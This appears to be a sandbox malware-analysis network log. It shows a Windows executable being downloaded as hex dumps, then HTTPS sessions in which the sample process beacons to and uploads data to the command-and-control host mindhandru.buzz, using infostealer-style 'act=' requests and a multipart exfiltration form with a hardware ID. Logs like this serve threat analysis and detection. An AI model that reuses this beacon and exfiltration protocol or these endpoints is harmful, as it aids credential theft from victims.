Dec 27, 2024 09:00:26.172234058 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 08:00:25 GMT Content-Type: application/octet-stream Content-Length: 2784256 Last-Modified: Fri, 27 Dec 2024 07:39:36 GMT Connection: keep-alive ETag: "676e59b8-2a7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 bf 73 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +s+`Ui`D @ @ @.rsrcD``@.idata f@ricsrhqo)h@otxjrfec T@.taggant@"Z*@
Dec 27, 2024 09:00:26.172249079 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:00:26.172259092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:00:26.172270060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:00:26.172281027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:00:26.172293901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:00:26.172307014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:00:26.172319889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 09:00:26.172923088 CET	1236	IN	Data Raw: 76 05 71 78 07 01 8b 6f 6c 2f 8f 6f 76 05 71 77 7f 3f 87 77 6f 8d 22 61 de 05 63 73 76 07 91 55 4c f8 5a 7b 76 69 8b 6f 76 03 8b 6f 85 f3 7e 4f 57 07 88 6f 4e 04 8b 6f 70 11 91 2d 82 07 8b 79 4e f2 8a 6f 6c 2a 50 75 74 fc 68 57 6e 07 8b 75 84 06 Data Ascii: vqxol/ovqw?wo"acsvULZ{viovo~OWoNop-yNolPuthWnukqQ\|pNop%n\|~ol~/ovqOoNol/ovquNop%eov[svQovo]tovol\]tovyysuxyKrolixpoluJVyUeovwov\|vU
Dec 27, 2024 09:00:26.172938108 CET	1236	IN	Data Raw: 76 7c 8d 6f 76 66 8b 51 76 f3 8a 72 75 07 8b 37 74 07 8b 10 76 2d 8b 83 76 10 8a 7f 76 45 8c 6f 76 6e 8b 6c 76 f3 8a 55 76 f4 81 7c 75 36 0b 6a 76 f7 89 40 f6 50 8a 7f 75 36 0b 1e 75 f7 89 40 f6 fd 8e 7f 75 36 0b 5f 76 f7 89 75 70 31 8f 7f 75 35 Data Ascii: v\|ovfQvru7tv-vvEovnlvUv\|u6jv@Pu6u@u6_vup1u5_uEu5uEu5vup1u5sEu5sEu5Jvup1u5tEu5~sEu5tEuYrEu5vE\|u5uE2u5uEuYr
Dec 27, 2024 09:00:26.291860104 CET	1236	IN	Data Raw: 76 3f 8b e5 76 0e 8b 4b 76 a0 8b 78 76 67 8b af 76 0e 8b 13 76 96 8b 78 76 6b 8b d6 76 0e 8b 1f 76 8d 8b 78 76 53 8b 02 77 0e 8b 27 76 7f 8b 78 76 5b 8b e5 76 0e 8b ef 76 a0 8b 78 76 83 8b b4 76 0e 8b fb 76 d1 8b 78 76 77 8b d6 76 0e 8b 03 77 8d Data Ascii: v?vKvxvgvvxvkvvxvSw'vxv[vvxvvvxvwvwxvwwxvvvxvvvxvvvxvvvxvvvxxvvvxvvvxvvvxvvvxvpuvVvt-zv]vu-v]v(

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	172.67.165.185	443	6188	C:\Users\user\Desktop\CAo57G5Cio.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:00:00 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 08:00:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 08:00:01 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m7bqinpvjjm7tstj7ofumiq35l; expires=Tue, 22 Apr 2025 01:46:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oOw%2Fmc%2FPtxzAzM%2FrC59aiAI6QMTf9MjYMm%2BQrkFj7S91IVKU2lPR%2FI5ArSC6sWj6BFan%2FodgUX5768JIpp5ZWX5%2BdQkGGQnwLKi06vtVXm%2BSEtPrEj8RHMpeIilYwy0lUIo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c643ad1a43dd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2047&min_rtt=2044&rtt_var=769&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1428571&cwnd=196&unsent_bytes=0&cid=8513e29328d38f66&ts=884&x=0"
2024-12-27 08:00:01 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 08:00:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49703	172.67.165.185	443	6188	C:\Users\user\Desktop\CAo57G5Cio.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:00:02 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: mindhandru.buzz
2024-12-27 08:00:02 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-27 08:00:03 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oi8bi9142dlpo19bgptt9v04ab; expires=Tue, 22 Apr 2025 01:46:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fuUw%2F2QWaB0sAZc2mVogNkNYAaifKWq0JSTUcCRJsXDzmoFvOhWsNRE65KHzh5OcCqRG0pOqnBndriugqpU%2B%2FdbXap3Xv6HLOddS5rI6Vioa4Mfa7EMp%2Bzuv8nIXVNlO7uM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c6524f2e0f9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1501&min_rtt=1499&rtt_var=567&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=952&delivery_rate=1923583&cwnd=213&unsent_bytes=0&cid=a2c811cc7bf1dda8&ts=816&x=0"
2024-12-27 08:00:03 UTC	244	IN	Data Raw: 31 63 62 37 0d 0a 58 35 72 7a 6f 79 73 4f 79 51 49 30 74 41 32 6b 4c 41 51 79 69 47 41 4e 6c 58 71 67 38 39 52 49 69 71 6b 36 50 59 31 39 77 4e 77 6b 75 49 57 42 45 54 72 6c 49 45 66 52 4c 35 35 59 64 6b 66 74 54 43 2f 30 48 6f 4c 4a 73 69 6e 6d 32 6c 38 52 72 77 75 74 2f 6d 58 38 6b 73 39 59 61 2b 55 67 55 63 77 76 6e 6e 64 2f 45 4f 30 4f 4c 36 39 59 78 5a 6d 32 4b 65 62 4c 57 31 62 69 44 61 79 2f 4e 2f 61 55 79 30 35 74 72 57 4e 59 32 57 6a 42 53 57 56 59 35 67 6c 67 2f 52 65 43 33 2f 59 74 38 49 73 41 48 38 41 59 74 4c 30 53 2b 34 44 49 43 58 50 6c 65 52 62 52 59 34 59 57 4a 6c 50 74 41 6d 48 7a 48 73 75 62 76 43 44 75 79 6c 35 58 2f 52 53 6d 74 44 66 34 6c 38 70 45 5a 4c 6c 75 55 74 35 6a 78 30 4e 6c 45 4b 52 43 61 4f Data Ascii: 1cb7X5rzoysOyQI0tA2kLAQyiGANlXqg89RIiqk6PY19wNwkuIWBETrlIEfRL55YdkftTC/0HoLJsinm2l8Rrwut/mX8ks9Ya+UgUcwvnnd/EO0OL69YxZm2KebLW1biDay/N/aUy05trWNY2WjBSWVY5glg/ReC3/Yt8IsAH8AYtL0S+4DICXPleRbRY4YWJlPtAmHzHsubvCDuyl5X/RSmtDf4l8pEZLluUt5jx0NlEKRCaO
2024-12-27 08:00:03 UTC	1369	IN	Data Raw: 39 59 6d 74 48 6c 47 4f 76 61 53 55 72 69 44 36 54 2b 49 72 61 49 67 55 35 67 36 7a 67 57 33 6d 50 49 53 32 56 66 37 51 4e 76 35 52 66 43 6b 72 34 69 37 4d 46 58 55 4f 41 52 71 4c 6b 31 38 5a 62 4f 54 6d 53 74 62 31 57 57 49 59 5a 4a 66 68 43 79 51 6b 2f 6e 47 38 47 46 75 7a 75 6f 31 42 5a 47 72 78 69 75 2f 6d 57 34 6c 38 39 49 59 61 74 79 58 74 31 6b 77 31 78 74 57 65 63 50 62 2f 6f 53 7a 5a 4b 32 4c 65 4c 42 56 31 58 72 45 71 2b 34 50 66 6a 52 6a 77 6c 72 73 79 41 4f 6c 6b 7a 44 58 6d 46 63 2f 45 42 56 74 77 65 4d 69 50 59 74 35 49 73 41 48 2b 63 61 6f 62 30 32 39 35 4c 4a 51 6e 36 72 63 6c 44 62 61 74 52 49 59 31 37 67 41 58 33 39 46 73 53 53 76 79 48 68 7a 6c 39 62 72 31 48 69 75 53 57 34 79 59 46 6f 59 61 42 73 58 4d 46 76 68 6c 45 6f 53 61 6f 46 59 Data Ascii: 9YmtHlGOvaSUriD6T+IraIgU5g6zgW3mPIS2Vf7QNv5RfCkr4i7MFXUOARqLk18ZbOTmStb1WWIYZJfhCyQk/nG8GFuzuo1BZGrxiu/mW4l89IYatyXt1kw1xtWecPb/oSzZK2LeLBV1XrEq+4PfjRjwlrsyAOlkzDXmFc/EBVtweMiPYt5IsAH+caob0295LJQn6rclDbatRIY17gAX39FsSSvyHhzl9br1HiuSW4yYFoYaBsXMFvhlEoSaoFY
2024-12-27 08:00:03 UTC	1369	IN	Data Raw: 65 75 79 61 6f 68 52 68 59 39 31 2f 36 2f 68 66 37 68 63 4a 44 4c 70 35 6a 57 4e 68 6f 30 41 35 35 48 76 4e 43 61 50 74 59 6d 74 47 37 4b 2b 44 4e 53 6c 44 69 48 4b 79 77 4d 76 32 65 79 55 6c 73 70 6d 56 53 33 57 54 46 51 32 4a 43 34 41 4a 6e 38 68 6e 49 6d 2f 5a 6b 71 4d 78 41 48 37 64 66 6b 36 6b 32 75 71 54 43 52 32 4b 73 64 68 62 4a 49 64 38 4f 59 56 79 71 57 69 2f 36 45 4d 65 55 75 53 76 69 78 56 31 56 34 78 65 73 76 53 2f 33 6c 63 46 46 5a 4b 46 74 57 4e 4a 6e 7a 30 56 74 56 75 6f 44 5a 62 64 57 67 70 61 75 61 72 43 4c 62 46 6a 6a 45 71 33 38 43 50 75 66 7a 30 35 36 36 33 38 59 7a 79 2f 42 51 69 59 49 71 67 35 6d 39 78 50 49 6c 62 59 74 35 63 35 62 57 4f 77 53 70 62 51 7a 2f 35 58 4e 51 47 47 74 59 46 48 53 61 74 52 4c 62 31 7a 6d 51 69 47 33 48 39 Data Ascii: euyaohRhY91/6/hf7hcJDLp5jWNho0A55HvNCaPtYmtG7K+DNSlDiHKywMv2eyUlspmVS3WTFQ2JC4AJn8hnIm/ZkqMxAH7dfk6k2uqTCR2KsdhbJId8OYVyqWi/6EMeUuSvixV1V4xesvS/3lcFFZKFtWNJnz0VtVuoDZbdWgpauarCLbFjjEq38CPufz056638Yzy/BQiYIqg5m9xPIlbYt5c5bWOwSpbQz/5XNQGGtYFHSatRLb1zmQiG3H9
2024-12-27 08:00:03 UTC	1369	IN	Data Raw: 71 4d 78 55 48 37 64 66 71 37 63 76 39 70 2f 49 52 47 71 6a 5a 31 6a 62 5a 4d 42 46 59 56 66 73 44 32 66 36 48 63 47 51 73 69 44 36 79 46 4e 56 34 68 58 69 38 48 33 2f 69 59 45 52 4c 49 78 73 66 38 5a 30 31 46 67 6d 54 36 51 62 4c 2f 41 55 67 73 6e 32 4b 65 66 43 56 31 66 6e 45 4b 32 36 4d 2f 36 58 7a 45 78 6a 6f 58 4a 65 32 47 4c 4e 51 57 31 43 36 67 39 72 2b 78 7a 4b 6d 72 78 71 70 6f 74 66 52 36 39 48 34 6f 73 77 39 35 48 43 58 79 79 30 4c 6b 2b 57 61 4d 6f 4f 50 68 44 6d 44 47 2f 34 46 4d 36 61 76 69 76 6b 78 56 39 61 35 68 65 71 72 44 7a 38 6d 63 42 48 59 36 70 6b 55 39 4e 72 77 55 70 67 58 36 70 4d 4c 2f 41 41 67 73 6e 32 42 63 2f 2b 47 6e 37 56 58 37 33 77 4a 4c 69 57 7a 51 6b 30 36 32 78 56 32 6d 66 4a 53 47 39 63 34 41 74 6b 2b 78 50 47 6e 62 38 Data Ascii: qMxUH7dfq7cv9p/IRGqjZ1jbZMBFYVfsD2f6HcGQsiD6yFNV4hXi8H3/iYERLIxsf8Z01FgmT6QbL/AUgsn2KefCV1fnEK26M/6XzExjoXJe2GLNQW1C6g9r+xzKmrxqpotfR69H4osw95HCXyy0Lk+WaMoOPhDmDG/4FM6avivkxV9a5heqrDz8mcBHY6pkU9NrwUpgX6pML/AAgsn2Bc/+Gn7VX73wJLiWzQk062xV2mfJSG9c4Atk+xPGnb8
2024-12-27 08:00:03 UTC	1369	IN	Data Raw: 56 37 70 44 61 57 33 4c 2f 61 63 7a 6b 46 6b 6f 6d 46 53 30 32 4c 41 51 6d 78 52 37 51 78 68 2f 31 69 4d 30 62 45 79 71 4a 4d 59 66 76 38 45 73 4b 67 77 32 5a 7a 4f 43 58 50 6c 65 52 62 52 59 34 59 57 4a 6c 6e 34 42 6d 4c 6c 45 63 57 66 75 53 6e 36 79 6c 56 55 2f 52 69 74 75 6a 72 30 6c 38 35 50 62 61 35 71 57 74 46 71 7a 55 46 71 45 4b 52 43 61 4f 39 59 6d 74 47 59 49 66 76 63 57 31 48 6b 43 62 6e 2b 49 72 61 49 67 55 35 67 36 7a 67 57 31 57 54 4e 53 6d 5a 63 36 67 5a 69 39 77 72 4e 6c 72 45 6a 34 39 6c 53 57 4f 67 55 71 72 55 79 2f 6f 50 4e 52 33 36 75 63 6b 53 57 49 59 5a 4a 66 68 43 79 51 6c 6e 77 43 4e 4b 53 39 42 76 2b 79 45 35 55 34 68 50 69 6f 58 50 68 30 63 5a 46 4c 50 4d 67 55 4e 6c 6d 78 55 46 6e 57 65 59 50 61 76 34 64 77 35 65 79 49 4f 4c 4c Data Ascii: V7pDaW3L/aczkFkomFS02LAQmxR7Qxh/1iM0bEyqJMYfv8EsKgw2ZzOCXPleRbRY4YWJln4BmLlEcWfuSn6ylVU/Ritujr0l85Pba5qWtFqzUFqEKRCaO9YmtGYIfvcW1HkCbn+IraIgU5g6zgW1WTNSmZc6gZi9wrNlrEj49lSWOgUqrUy/oPNR36uckSWIYZJfhCyQlnwCNKS9Bv+yE5U4hPioXPh0cZFLPMgUNlmxUFnWeYPav4dw5eyIOLL
2024-12-27 08:00:03 UTC	1369	IN	Data Raw: 44 73 70 33 33 2f 6e 59 45 52 4c 4b 68 6e 56 64 64 6c 7a 30 4a 70 56 2b 34 51 5a 66 41 4b 77 35 43 39 4a 2b 54 4c 56 56 4c 6c 48 71 75 7a 4d 66 57 57 78 6b 5a 70 36 79 34 57 30 58 65 47 46 69 5a 78 35 77 6c 6a 72 45 4b 43 6a 76 67 7a 71 4d 78 55 48 37 64 66 6f 72 51 34 38 70 7a 43 52 6d 2b 35 59 56 44 45 62 38 74 45 64 46 72 68 42 32 4c 36 46 63 47 58 73 43 48 6b 32 56 46 66 37 42 54 69 38 48 33 2f 69 59 45 52 4c 49 68 33 51 4e 78 6f 79 6c 68 74 55 65 6b 55 59 75 64 59 6a 4e 47 6e 4c 66 6d 4c 41 45 6e 2f 43 4b 57 68 63 2b 48 52 78 6b 55 73 38 79 42 51 33 32 6e 42 53 47 68 43 37 77 52 67 2b 42 48 4c 6c 62 34 70 36 4d 39 63 57 4f 6f 63 72 72 55 36 2b 35 37 46 51 47 4b 69 62 78 61 59 4c 38 46 57 4a 67 69 71 49 33 54 30 46 4d 2f 52 71 57 54 78 69 31 39 54 72 Data Ascii: Dsp33/nYERLKhnVddlz0JpV+4QZfAKw5C9J+TLVVLlHquzMfWWxkZp6y4W0XeGFiZx5wljrEKCjvgzqMxUH7dforQ48pzCRm+5YVDEb8tEdFrhB2L6FcGXsCHk2VFf7BTi8H3/iYERLIh3QNxoylhtUekUYudYjNGnLfmLAEn/CKWhc+HRxkUs8yBQ32nBSGhC7wRg+BHLlb4p6M9cWOocrrU6+57FQGKibxaYL8FWJgiqI3T0FM/RqWTxi19Tr
2024-12-27 08:00:03 UTC	270	IN	Data Raw: 6c 75 4c 48 4b 58 32 6d 73 64 68 54 6a 62 4d 68 41 59 55 61 71 48 56 43 35 57 4d 32 4c 39 6e 4c 52 30 68 68 59 34 31 2f 36 2f 69 6a 2f 6b 63 5a 54 65 71 78 73 52 39 31 69 79 6d 78 70 56 2f 77 42 59 50 51 4a 79 39 32 39 4a 36 69 46 47 46 6a 33 58 2f 72 2b 45 76 2b 48 77 6d 5a 76 75 6d 6b 57 6d 43 2f 42 57 43 59 49 71 6a 77 76 35 52 76 53 6b 72 6b 37 31 6f 73 41 52 74 46 66 71 61 67 36 36 4a 4c 58 51 6d 47 6e 63 57 69 57 4e 35 49 63 4e 41 4b 34 55 48 43 33 42 2f 33 66 39 69 75 6f 6b 32 46 47 72 77 6e 69 35 6d 2b 32 30 64 4d 4a 4e 4f 73 6e 56 63 52 39 77 45 31 77 55 36 30 38 55 64 41 4f 79 4a 61 6d 4c 66 2f 45 47 42 47 76 45 4f 4c 6d 42 4c 69 59 78 6c 4a 39 76 57 31 47 30 53 2f 35 41 43 5a 49 71 6c 6f 76 77 68 76 4d 6e 37 45 38 2b 59 5a 2f 53 65 55 59 73 72 Data Ascii: luLHKX2msdhTjbMhAYUaqHVC5WM2L9nLR0hhY41/6/ij/kcZTeqxsR91iymxpV/wBYPQJy929J6iFGFj3X/r+Ev+HwmZvumkWmC/BWCYIqjwv5RvSkrk71osARtFfqag66JLXQmGncWiWN5IcNAK4UHC3B/3f9iuok2FGrwni5m+20dMJNOsnVcR9wE1wU608UdAOyJamLf/EGBGvEOLmBLiYxlJ9vW1G0S/5ACZIqlovwhvMn7E8+YZ/SeUYsr
2024-12-27 08:00:03 UTC	1369	IN	Data Raw: 32 63 36 35 0d 0a 59 4c 38 4a 66 4a 67 69 36 55 44 53 69 53 35 58 42 35 44 57 6d 30 68 68 4a 72 30 66 77 38 48 33 71 30 5a 6b 4a 4b 36 68 79 52 4e 42 73 30 45 30 68 62 74 51 6c 64 66 6f 65 31 59 43 49 46 4f 2f 52 56 56 6e 34 44 75 36 72 50 76 61 66 78 6c 38 73 35 53 42 5a 6c 6a 66 2f 44 69 34 51 31 55 77 76 37 31 69 61 30 59 4d 70 35 73 56 66 53 66 35 53 68 61 51 77 2f 6f 62 51 43 53 4c 72 5a 68 61 4f 50 34 67 4f 59 6b 47 71 57 6a 2b 6c 51 35 66 43 34 58 71 36 31 42 5a 47 72 77 6e 69 35 6d 2b 32 30 64 4d 4a 4e 4f 73 6e 56 63 52 39 77 45 31 77 55 36 30 38 55 64 6b 66 78 4a 53 78 4f 71 72 6c 55 30 76 6f 58 2b 7a 2b 4d 72 6a 4a 2b 41 6b 6b 36 31 38 59 6c 6e 65 47 46 69 5a 6c 36 51 78 68 38 41 37 54 33 4a 67 74 37 73 35 66 54 36 30 78 71 61 6f 36 75 4e 2b 42 Data Ascii: 2c65YL8JfJgi6UDSiS5XB5DWm0hhJr0fw8H3q0ZkJK6hyRNBs0E0hbtQldfoe1YCIFO/RVVn4Du6rPvafxl8s5SBZljf/Di4Q1Uwv71ia0YMp5sVfSf5ShaQw/obQCSLrZhaOP4gOYkGqWj+lQ5fC4Xq61BZGrwni5m+20dMJNOsnVcR9wE1wU608UdkfxJSxOqrlU0voX+z+MrjJ+Akk618YlneGFiZl6Qxh8A7T3Jgt7s5fT60xqao6uN+B
2024-12-27 08:00:03 UTC	1369	IN	Data Raw: 41 52 31 58 33 55 53 47 56 47 36 55 56 52 79 54 2f 4d 6c 72 63 38 2b 4e 78 58 45 4d 45 70 67 34 41 44 37 5a 4c 50 52 32 75 39 63 52 61 59 4c 38 6b 4f 50 6d 6d 71 53 69 2f 49 56 6f 4b 4a 39 6e 4b 6f 2f 6c 74 52 34 52 69 30 72 33 44 66 6e 38 5a 49 65 72 74 33 57 5a 6c 42 38 47 38 6d 48 71 6f 45 4c 36 39 4b 6a 4e 47 79 4f 36 69 54 43 41 32 30 53 76 48 70 62 61 71 4f 6a 31 41 73 76 53 41 4f 68 43 47 47 58 43 59 49 71 6b 56 73 35 51 72 45 6b 71 41 70 72 2f 56 6d 65 4f 45 59 6f 36 67 74 39 5a 33 67 53 6e 32 68 58 6d 6a 44 62 4d 68 41 59 55 62 37 51 69 47 33 46 34 4c 4a 6a 32 71 67 69 32 63 52 72 77 66 69 35 6e 33 4e 6b 73 39 48 61 37 31 78 47 2f 46 68 77 55 39 77 51 4f 63 4f 54 76 51 4a 79 4e 48 34 61 75 36 4c 41 41 32 68 58 36 61 76 66 61 44 42 6b 78 49 35 2b Data Ascii: AR1X3USGVG6UVRyT/Mlrc8+NxXEMEpg4AD7ZLPR2u9cRaYL8kOPmmqSi/IVoKJ9nKo/ltR4Ri0r3Dfn8ZIert3WZlB8G8mHqoEL69KjNGyO6iTCA20SvHpbaqOj1AsvSAOhCGGXCYIqkVs5QrEkqApr/VmeOEYo6gt9Z3gSn2hXmjDbMhAYUb7QiG3F4LJj2qgi2cRrwfi5n3Nks9Ha71xG/FhwU9wQOcOTvQJyNH4au6LAA2hX6avfaDBkxI5+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49709	172.67.165.185	443	6188	C:\Users\user\Desktop\CAo57G5Cio.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:00:05 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6C5K1UTK3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12796 Host: mindhandru.buzz
2024-12-27 08:00:05 UTC	12796	OUT	Data Raw: 2d 2d 36 43 35 4b 31 55 54 4b 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 43 36 43 41 44 35 33 31 30 41 35 46 43 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 36 43 35 4b 31 55 54 4b 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 43 35 4b 31 55 54 4b 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 36 43 35 4b 31 55 54 4b 33 0d 0a 43 6f 6e 74 65 6e Data Ascii: --6C5K1UTK3Content-Disposition: form-data; name="hwid"9C6CAD5310A5FC5EBEBA0C6A975F1733--6C5K1UTK3Content-Disposition: form-data; name="pid"2--6C5K1UTK3Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--6C5K1UTK3Conten
2024-12-27 08:00:05 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8onq2l1u6mce04t22sdgban4bn; expires=Tue, 22 Apr 2025 01:46:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: 